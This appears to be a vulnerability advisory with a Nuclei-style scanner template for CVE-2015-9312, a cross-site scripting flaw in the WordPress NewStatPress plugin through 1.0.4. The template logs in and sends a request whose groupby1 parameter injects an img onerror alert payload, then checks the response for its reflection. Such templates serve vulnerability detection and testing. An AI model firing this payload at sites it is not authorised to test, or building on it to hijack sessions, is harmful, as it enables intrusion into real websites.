WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file "includes/nsp_search.php", several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.
PoC代码[已公开]
id: CVE-2015-9312
info:
name: NewStatPress <=1.0.4 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file "includes/nsp_search.php", several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Fixed in version 1.0.6
reference:
- https://wpscan.com/vulnerability/46bf6c69-b612-4aee-965d-91f53f642054
- https://g0blin.co.uk/g0blin-00057/
- https://wordpress.org/plugins/newstatpress/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2015-9312
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2015-9312
cwe-id: CWE-79
epss-score: 0.04178
epss-percentile: 0.88263
cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: newstatpress_project
product: newstatpress
framework: wordpress
tags: cve2015,cve,xss,authenticated,wp,newstatpress,wpscan,wordpress,wp-plugin,newstatpress_project
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<img src=x onerror=alert(document.domain)")'
- 'contains(body_2, "newstatpress")'
condition: and
# digest: 4b0a00483046022100b954c6509461da531f4295a814dab1186431f0ea80690383b816986b0e41b117022100904a5fe8ebd8820f9bfa553ccbe7c334715de9e3b5189a4dc1fd3821b544f836:922c64590222798bb761d5b6d8e72950